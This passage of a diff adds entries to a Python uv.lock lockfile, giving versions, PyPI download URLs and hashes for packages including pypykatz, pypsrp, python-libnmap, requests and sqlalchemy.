upload-time = "2026-01-21T03:57:59.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 122781, upload-time = "2026-01-21T03:57:55.912Z" }, +] + +[[package]] +name = "pyperclip" +version = "1.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/52/d87eba7cb129b81563019d1679026e7a112ef76855d6159d24754dbd2a51/pyperclip-1.11.0.tar.gz", hash = "sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6", size = 12185, upload-time = "2025-09-26T14:40:37.245Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/80/fc9d01d5ed37ba4c42ca2b55b4339ae6e200b456be3a1aaddf4a9fa99b8c/pyperclip-1.11.0-py3-none-any.whl", hash = "sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273", size = 11063, upload-time = "2025-09-26T14:40:36.069Z" }, +] + +[[package]] +name = "pypsrp" +version = "0.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "pyspnego" }, + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e8/bb/e64c311746a4e6d0a5baea4da826a9d06ea997eed50d3209041722a99dc3/pypsrp-0.9.1.tar.gz", hash = "sha256:3ad41285739d5f8107dd8277ae00e86ee44153aae5e82fb578ac8048307e0d12", size = 399329, upload-time = "2026-03-16T03:47:40.166Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/6b/441a1ebd4a5975566b0d32be477cd6ec65e3962938e82ed499690ac82e1c/pypsrp-0.9.1-py3-none-any.whl", hash = "sha256:1217b03397589f8e77c98dc9d2a4af2abc34a89ccc15efd4b6758ec76eb1bb7d", size = 92415, upload-time = "2026-03-16T03:47:38.345Z" }, +] + +[[package]] +name = "pypykatz" +version = "0.6.13" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "aesedb" }, + { name = "aiosmb" }, + { name = "aiowinreg" }, + { name = "minidump" }, + { name = "minikerberos" }, + { name = "msldap" }, + { name = "tqdm" }, + { name = "unicrypto" }, + { name = "winacl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9e/34/b215fe85cb046080b285088a09f7c3d1a036c49c061a61e0aa4ff57ee4a6/pypykatz-0.6.13.tar.gz", hash = "sha256:f93d44fc393839c5daf2f061b29b81ffc576dd3391b175deb59a72956db94893", size = 312746, upload-time = "2026-01-02T11:52:44.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/e1/d56d0f65a572b2cdce100207aa0dc07f68f3a8897fa9941cd69b51d476f6/pypykatz-0.6.13-py3-none-any.whl", hash = "sha256:c715fc22af49b893dc15e4e376ff167107ad602e1f91a5a2320c3aa7a7e41e3c", size = 402975, upload-time = "2026-01-02T11:52:43.217Z" }, +] + +[[package]] +name = "pyreadline3" +version = "3.5.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b6/6d/f94028646d7bbe6d9d873c47ee7c246f2d29129d253f0d96cb6fcab70733/pyreadline3-3.5.6.tar.gz", hash = "sha256:61e53218b99656091ddb077df9e71f25850e72e030b6183b39c9b7e6e4f4a9bf", size = 100368, upload-time = "2026-05-14T17:55:04.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/5e/35c856e186b74678c24927847ad9895a51f1bc02a0c6126477a6c6040064/pyreadline3-3.5.6-py3-none-any.whl", hash = "sha256:8449b734232e42a5dcd74048e39b60db2839a4c38cf3ae2bf7707d58b5389c0d", size = 85243, upload-time = "2026-05-14T17:55:03.262Z" }, +] + +[[package]] +name = "pyspnego" +version = "0.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "sspilib", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7d/84/58577bd1b14293650879de0579ec263a1d8350f1d6d227226cf776b5a6a6/pyspnego-0.12.1.tar.gz", hash = "sha256:ff4fb6df38202a012ea2a0f43091ae9680878443f0ea61c9ea0e2e8152a4b810", size = 226027, upload-time = "2026-03-02T20:16:09.74Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dd/9f/4da6a1b9611af2397289b77d6fd08f5fe8f1f34dabc3bf85b0638d655e64/pyspnego-0.12.1-py3-none-any.whl", hash = "sha256:7237cb47985ccf5da512106ddb2731e4f9cefec00991f76c054488eb95fb1a2d", size = 130247, upload-time = "2026-03-02T20:16:08.331Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "python-libnmap" +version = "0.7.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/b2/38e34576a715115e5bef9eff7d9989d48079c8138e5bb1d71bb8001df722/python-libnmap-0.7.3.tar.gz", hash = "sha256:d03629256c2ee9ab37390c28d4c4c2ae9637cd0861dd8ab9e0f32779545936c0", size = 39687, upload-time = "2022-09-01T21:39:29.515Z" } + +[[package]] +name = "pytz" +version = "2026.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ff/46/dd499ec9038423421951e4fad73051febaa13d2df82b4064f87af8b8c0c3/pytz-2026.2.tar.gz", hash = "sha256:0e60b47b29f21574376f218fe21abc009894a2321ea16c6754f3cad6eb7cdd6a", size = 320861, upload-time = "2026-05-04T01:35:29.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/dd/96da98f892250475bdf2328112d7468abdd4acc7b902b6af23f4ed958ea0/pytz-2026.2-py2.py3-none-any.whl", hash = "sha256:04156e608bee23d3792fd45c94ae47fae1036688e75032eea2e3bf0323d1f126", size = 510141, upload-time = "2026-05-04T01:35:27.408Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "rich" +version = "15.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "soupsieve" +version = "2.8.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/ae/2d9c981590ed9999a0d91755b47fc74f74de286b0f5cee14c9269041e6c4/soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349", size = 118627, upload-time = "2026-01-20T04:27:02.457Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/2c/1462b1d0a634697ae9e55b3cecdcb64788e8b7d63f54d923fcd0bb140aed/soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95", size = 37016, upload-time = "2026-01-20T04:27:01.012Z" }, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.49" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/45/461788f35e0364a8da7bda51a1fe1b09762d0c32f12f63727998d85a873b/sqlalchemy-2.0.49.tar.gz", hash = "sha256:d15950a57a210e36dd4cec1aac22787e2a4d57ba9318233e2ef8b2daf9ff2d5f", size = 9898221, upload-time = "2026-04-03T16:38:11.704Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/96/76/f908955139842c362aa877848f42f9249642d5b69e06cee9eae5111da1bd/sqlalchemy-2.0.49-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:42e8804962f9e6f4be2cbaedc0c3718f08f60a16910fa3d86da5a1e3b1bfe60f", size = 2159321, upload-time = "2026-04-03T16:50:11.8Z" }, + { url = "https://files.pythonhosted.org/packages/24/e2/17ba0b7bfbd8de67196889b6d951de269e8a46057d92baca162889beb16d/sqlalchemy-2.0.49-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc992c6ed024c8c3c592c5fc9846a03dd68a425674900c70122c77ea16c5fb0b", size = 3238937, upload-time = "2026-04-03T16:54:45.731Z" }, + { url = "https://files.pythonhosted.org/packages/90/1e/410dd499c039deacff395eec01a9da057125fcd0c97e3badc252c6a2d6a7/sqlalchemy-2.0.49-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6eb188b84269f357669b62cb576b5b918de10fb7c728a005fa0ebb0b758adce1", size = 3237188, upload-time = "2026-04-03T16:56:53.217Z" }, + { url = "https://files.pythonhosted.org/packages/ab/06/e797a8b98a3993ac4bc785309b9b6d005457fc70238ee6cefa7c8867a92e/sqlalchemy-2.0.49-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:62557958002b69699bdb7f5137c6714ca1133f045f97b3903964f47db97ea339", size = 3190061, upload-time = "2026-04-03T16:54:47.489Z" }, + { url = "https://files.pythonhosted.org/packages/44/d3/5a9f7ef580af1031184b38235da6ac58c3b571df01c9ec061c44b2b0c5a6/sqlalchemy-2.0.49-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:da9b91bca419dc9b9267ffadde24eae9b1a6bffcd09d0a207e5e3af99a03ce0d", size = 3211477, upload-time = "2026-04-03T16:56:55.056Z" }, + { url = "https://files.pythonhosted.org/packages/69/ec/7be8c8cb35f038e963a203e4fe5a028989167cc7299927b7cf297c271e37/sqlalchemy-2.0.49-cp310-cp310-win32.whl", hash = "sha256:5e61abbec255be7b122aa461021daa7c3f310f3e743411a67079f9b3cc91ece3", size = 2119965, upload-time = "2026-04-03T17:00:50.009Z" }, + { url = "https://files.pythonhosted.org/packages/b5/31/0defb93e3a10b0cf7d1271aedd87251a08c3a597ee4f353281769b547b5a/sqlalchemy-2.0.49-cp310-cp310-win_amd64.whl", hash = "sha256:0c98c59075b890df8abfcc6ad632879540f5791c68baebacb4f833713b510e75", size = 2142935, upload-time = "2026-04-03T17:00:51.675Z" }, + { url = "https://files.pythonhosted.org/packages/60/b5/e3617cc67420f8f403efebd7b043128f94775e57e5b84e7255203390ceae/sqlalchemy-2.0.49-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5070135e1b7409c4161133aa525419b0062088ed77c92b1da95366ec5cbebbe", size = 2159126, upload-time = "2026-04-03T16:50:13.242Z" }, + { url = "https://files.pythonhosted.org/packages/20/9b/91ca80403b17cd389622a642699e5f6564096b698e7cdcbcbb6409898bc4/sqlalchemy-2.0.49-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ac7a3e245fd0310fd31495eb61af772e637bdf7d88ee81e7f10a3f271bff014", size = 3315509, upload-time = "2026-04-03T16:54:49.332Z" }, + { url = "https://files.pythonhosted.org/packages/b1/61/0722511d98c54de95acb327824cb759e8653789af2b1944ab1cc69d32565/sqlalchemy-2.0.49-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d4e5a0ceba319942fa6b585cf82539288a61e314ef006c1209f734551ab9536", size = 3315014, upload-time = "2026-04-03T16:56:56.376Z" }, + { url = "https://files.pythonhosted.org/packages/46/55/d514a653ffeb4cebf4b54c47bec32ee28ad89d39fafba16eeed1d81dccd5/sqlalchemy-2.0.49-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3ddcb27fb39171de36e207600116ac9dfd4ae46f86c82a9bf3934043e80ebb88", size = 3267388, upload-time = "2026-04-03T16:54:51.272Z" }, + { url = "https://files.pythonhosted.org/packages/2f/16/0dcc56cb6d3335c1671a2258f5d2cb8267c9a2260e27fde53cbfb1b3540a/sqlalchemy-2.0.49-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:32fe6a41ad97302db2931f05bb91abbcc65b5ce4c675cd44b972428dd2947700", size = 3289602, upload-time = "2026-04-03T16:56:57.63Z" }, + { url = "https://files.pythonhosted.org/packages/51/6c/f8ab6fb04470a133cd80608db40aa292e6bae5f162c3a3d4ab19544a67af/sqlalchemy-2.0.49-cp311-cp311-win32.whl", hash = "sha256:46d51518d53edfbe0563662c96954dc8fcace9832332b914375f45a99b77cc9a", size = 2119044, upload-time = "2026-04-03T17:00:53.455Z" }, + { url = "https://files.pythonhosted.org/packages/c4/59/55a6d627d04b6ebb290693681d7683c7da001eddf90b60cfcc41ee907978/sqlalchemy-2.0.49-cp311-cp311-win_amd64.whl", hash = "sha256:951d4a210744813be63019f3df343bf233b7432aadf0db54c75802247330d3af", size = 2143642, upload-time = "2026-04-03T17:00:54.769Z" }, + { url = "https://files.pythonhosted.org/packages/49/b3/2de412451330756aaaa72d27131db6dde23995efe62c941184e15242a5fa/sqlalchemy-2.0.49-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4bbccb45260e4ff1b7db0be80a9025bb1e6698bdb808b83fff0000f7a90b2c0b", size = 2157681, upload-time = "2026-04-03T16:53:07.132Z" }, + { url = "https://files.pythonhosted.org/packages/50/84/b2a56e2105bd11ebf9f0b93abddd748e1a78d592819099359aa98134a8bf/sqlalchemy-2.0.49-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fb37f15714ec2652d574f021d479e78cd4eb9d04396dca36568fdfffb3487982", size = 3338976, upload-time = "2026-04-03T17:07:40Z" }, + { url = "https://files.pythonhosted.org/packages/2c/fa/65fcae2ed62f84ab72cf89536c7c3217a156e71a2c111b1305ab6f0690e2/sqlalchemy-2.0.49-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3bb9ec6436a820a4c006aad1ac351f12de2f2dbdaad171692ee457a02429b672", size = 3351937, upload-time = "2026-04-03T17:12:23.374Z" }, + { url = "https://files.pythonhosted.org/packages/f8/2f/6fd118563572a7fe475925742eb6b3443b2250e346a0cc27d8d408e73773/sqlalchemy-2.0.49-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8d6efc136f44a7e8bc8088507eaabbb8c2b55b3dbb63fe102c690da0ddebe55e", size = 3281646, upload-time = "2026-04-03T17:07:41.949Z" }, + { url = "https://files.pythonhosted.org/packages/c5/d7/410f4a007c65275b9cf82354adb4bb8ba587b176d0a6ee99caa16fe638f8/sqlalchemy-2.0.49-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e06e617e3d4fd9e51d385dfe45b077a41e9d1b033a7702551e3278ac597dc750", size = 3316695, upload-time = "2026-04-03T17:12:25.642Z" }, + { url = "https://files.pythonhosted.org/packages/d9/95/81f594aa60ded13273a844539041ccf1e66c5a7bed0a8e27810a3b52d522/sqlalchemy-2.0.49-cp312-cp312-win32.whl", hash = "sha256:83101a6930332b87653886c01d1ee7e294b1fe46a07dd9a2d2b4f91bcc88eec0", size = 2117483, upload-time = "2026-04-03T17:05:40.896Z" }, + { url = "https://files.pythonhosted.org/packages/47/9e/fd90114059175cac64e4fafa9bf3ac20584384d66de40793ae2e2f26f3bb/sqlalchemy-2.0.49-cp312-cp312-win_amd64.whl", hash = "sha256:618a308215b6cececb6240b9abde545e3acdabac7ae3e1d4e666896bf5ba44b4", size = 2144494, upload-time = "2026-04-03T17:05:42.282Z" }, + { url = "https://files.pythonhosted.org/packages/ae/81/81755f50eb2478eaf2049728491d4ea4f416c1eb013338682173259efa09/sqlalchemy-2.0.49-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:df2d441bacf97022e81ad047e1597552eb3f83ca8a8f1a1fdd43cd7fe3898120", size = 2154547, upload-time = "2026-04-03T16:53:08.64Z" }, + { url = "https://files.pythonhosted.org/packages/a2/bc/3494270da80811d08bcfa247404292428c4fe16294932bce5593f215cad9/sqlalchemy-2.0.49-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8e20e511dc15265fb433571391ba313e10dd8ea7e509d51686a51313b4ac01a2", size = 3280782, upload-time = "2026-04-03T17:07:43.508Z" }, + { url = "https://files.pythonhosted.org/packages/cd/f5/038741f5e747a5f6ea3e72487211579d8cbea5eb9827a9cbd61d0108c4bd/sqlalchemy-2.0.49-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47604cb2159f8bbd5a1ab48a714557156320f20871ee64d550d8bf2683d980d3", size = 3297156, upload-time = "2026-04-03T17:12:27.697Z" }, + { url = "https://files.pythonhosted.org/packages/88/50/a6af0ff9dc954b43a65ca9b5367334e45d99684c90a3d3413fc19a02d43c/sqlalchemy-2.0.49-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:22d8798819f86720bc646ab015baff5ea4c971d68121cb36e2ebc2ee43ead2b7", size = 3228832, upload-time = "2026-04-03T17:07:45.38Z" }, + { url = "https://files.pythonhosted.org/packages/bc/d1/5f6bdad8de0bf546fc74370939621396515e0cdb9067402d6ba1b8afbe9a/sqlalchemy-2.0.49-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9b1c058c171b739e7c330760044803099c7fff11511e3ab3573e5327116a9c33", size = 3267000, upload-time = "2026-04-03T17:12:29.657Z" }, + { url = "https://files.pythonhosted.org/packages/f7/30/ad62227b4a9819a5e1c6abff77c0f614fa7c9326e5a3bdbee90f7139382b/sqlalchemy-2.0.49-cp313-cp313-win32.whl", hash = "sha256:a143af2ea6672f2af3f44ed8f9cd020e9cc34c56f0e8db12019d5d9ecf41cb3b", size = 2115641, upload-time = "2026-04-03T17:05:43.989Z" }, + { url = "https://files.pythonhosted.org/packages/17/3a/7215b1b7d6d49dc9a87211be44562077f5f04f9bb5a59552c1c8e2d98173/sqlalchemy-2.0.49-cp313-cp313-win_amd64.whl", hash = "sha256:12b04d1db2663b421fe072d638a138460a51d5a862403295671c4f3987fb9148", size = 2141498, upload-time = "2026-04-03T17:05:45.7Z" }, + { url = "https://files.pythonhosted.org/packages/28/4b/52a0cb2687a9cd1648252bb257be5a1ba2c2ded20ba695c65756a55a15a4/sqlalchemy-2.0.49-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:24bd94bb301ec672d8f0623eba9226cc90d775d25a0c92b5f8e4965d7f3a1518", size = 3560807, upload-time = "2026-04-03T16:58:31.666Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d8/fda95459204877eed0458550d6c7c64c98cc50c2d8d618026737de9ed41a/sqlalchemy-2.0.49-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a51d3db74ba489266ef55c7a4534eb0b8db9a326553df481c11e5d7660c8364d", size = 3527481, upload-time = "2026-04-03T17:06:00.155Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0a/2aac8b78ac6487240cf7afef8f203ca783e8796002dc0cf65c4ee99ff8bb/sqlalchemy-2.0.49-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:55250fe61d6ebfd6934a272ee16ef1244e0f16b7af6cd18ab5b1fc9f08631db0", size = 3468565, upload-time = "2026-04-03T16:58:33.414Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/ce71cfa82c50a373fd2148b3c870be05027155ce791dc9a5dcf439790b8b/sqlalchemy-2.0.49-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:46796877b47034b559a593d7e4b549aba151dae73f9e78212a3478161c12ab08", size = 3477769, upload-time = "2026-04-03T17:06:02.787Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e8/0a9f5c1f7c6f9ca480319bf57c2d7423f08d31445974167a27d14483c948/sqlalchemy-2.0.49-cp313-cp313t-win32.whl", hash = "sha256:9c4969a86e41454f2858256c39bdfb966a20961e9b58bf8749b65abf447e9a8d", size = 2143319, upload-time = "2026-04-03T17:02:04.328Z" }, + { url = "https://files.pythonhosted.org/packages/0e/51/fb5240729fbec73006e137c4f7a7918ffd583ab08921e6ff81a999d6517a/sqlalchemy-2.0.49-cp313-cp313t-win_amd64.whl", hash = "sha256:b9870d15ef00e4d0559ae10ee5bc71b654d1f20076dbe8bc7ed19b4c0625ceba", size = 2175104, upload-time = "2026-04-03T17:02:05.989Z" }, + { url = "https://files.pythonhosted.org/packages/55/33/bf28f618c0a9597d14e0b9ee7d1e0622faff738d44fe986ee287cdf1b8d0/sqlalchemy-2.0.49-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:233088b4b99ebcbc5258c755a097aa52fbf90727a03a5a80781c4b9c54347a2e", size = 2156356, upload-time = "2026-04-03T16:53:09.914Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a7/5f476227576cb8644650eff68cc35fa837d3802b997465c96b8340ced1e2/sqlalchemy-2.0.49-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:57ca426a48eb2c682dae8204cd89ea8ab7031e2675120a47924fabc7caacbc2a", size = 3276486, upload-time = "2026-04-03T17:07:46.9Z" }, + { url = "https://files.pythonhosted.org/packages/2e/84/efc7c0bf3a1c5eef81d397f6fddac855becdbb11cb38ff957888603014a7/sqlalchemy-2.0.49-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:685e93e9c8f399b0c96a624799820176312f5ceef958c0f88215af4013d29066", size = 3281479, upload-time = "2026-04-03T17:12:32.226Z" }, + { url = "https://files.pythonhosted.org/packages/91/68/bb406fa4257099c67bd75f3f2261b129c63204b9155de0d450b37f004698/sqlalchemy-2.0.49-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e0400fa22f79acc334d9a6b185dc00a44a8e6578aa7e12d0ddcd8434152b187", size = 3226269, upload-time = "2026-04-03T17:07:48.678Z" }, + { url = "https://files.pythonhosted.org/packages/67/84/acb56c00cca9f251f437cb49e718e14f7687505749ea9255d7bd8158a6df/sqlalchemy-2.0.49-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a05977bffe9bffd2229f477fa75eabe3192b1b05f408961d1bebff8d1cd4d401", size = 3248260, upload-time = "2026-04-03T17:12:34.381Z" }, + { url = "https://files.pythonhosted.org/packages/56/19/6a20ea25606d1efd7bd1862149bb2a22d1451c3f851d23d887969201633f/sqlalchemy-2.0.49-cp314-cp314-win32.whl", hash = "sha256:0f2fa354ba106eafff2c14b0cc51f22801d1e8b2e4149342023bd6f0955de5f5", size = 2118463, upload-time = "2026-04-03T17:05:47.093Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4f/8297e4ed88e80baa1f5aa3c484a0ee29ef3c69c7582f206c916973b75057/sqlalchemy-2.0.49-cp314-cp314-win_amd64.whl", hash = "sha256:77641d299179c37b89cf2343ca9972c88bb6eef0d5fc504a2f86afd15cd5adf5", size = 2144204, upload-time = "2026-04-03T17:05:48.694Z" }, + { url = "https://files.pythonhosted.org/packages/1f/33/95e7216df810c706e0cd3655a778604bbd319ed4f43333127d465a46862d/sqlalchemy-2.0.49-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c1dc3368794d522f43914e03312202523cc89692f5389c32bea0233924f8d977", size = 3565474, upload-time = "2026-04-03T16:58:35.128Z" }, + { url = "https://files.pythonhosted.org/packages/0c/a4/ed7b18d8ccf7f954a83af6bb73866f5bc6f5636f44c7731fbb741f72cc4f/sqlalchemy-2.0.49-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7c821c47ecfe05cc32140dcf8dc6fd5d21971c86dbd56eabfe5ba07a64910c01", size = 3530567, upload-time = "2026-04-03T17:06:04.587Z" }, + { url = "https://files.pythonhosted.org/packages/73/a3/20faa869c7e21a827c4a2a42b41353a54b0f9f5e96df5087629c306df71e/sqlalchemy-2.0.49-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:9c04bff9a5335eb95c6ecf1c117576a0aa560def274876fd156cfe5510fccc61", size = 3474282, upload-time = "2026-04-03T16:58:37.131Z" }, + { url = "https://files.pythonhosted.org/packages/b7/50/276b9a007aa0764304ad467eceb70b04822dc32092492ee5f322d559a4dc/sqlalchemy-2.0.49-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7f605a456948c35260e7b2a39f8952a26f077fd25653c37740ed186b90aaa68a", size = 3480406, upload-time = "2026-04-03T17:06:07.176Z" }, + { url = "https://files.pythonhosted.org/packages/e5/c3/c80fcdb41905a2df650c2a3e0337198b6848876e63d66fe9188ef9003d24/sqlalchemy-2.0.49-cp314-cp314t-win32.whl", hash = "sha256:6270d717b11c5476b0cbb21eedc8d4dbb7d1a956fd6c15a23e96f197a6193158", size = 2149151, upload-time = "2026-04-03T17:02:07.281Z" }, + { url = "https://files.pythonhosted.org/packages/05/52/9f1a62feab6ed368aff068524ff414f26a6daebc7361861035ae00b05530/sqlalchemy-2.0.49-cp314-cp314t-win_amd64.whl", hash = "sha256:275424295f4256fd301744b8f335cff367825d270f155d522b30c7bf49903ee7", size = 2184178, upload-time = "2026-04-03T17:02:08.623Z" }, + { url = "https://files.pythonhosted.org/packages/e5/30/8519fdde58a7bdf155b714359791ad1dc018b47d60269d5d160d311fdc36/sqlalchemy-2.0.49-py3-none-any.whl", hash = "sha256:ec44cfa7ef1a728e88ad41674de50f6db8cfdb3e2af84af86e0041aaf02d43d0", size = 1942158, upload-time = "2026-04-03T16:53:44.135Z" }, +] + +[[package]] +name = "sspilib" +version = "0.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = 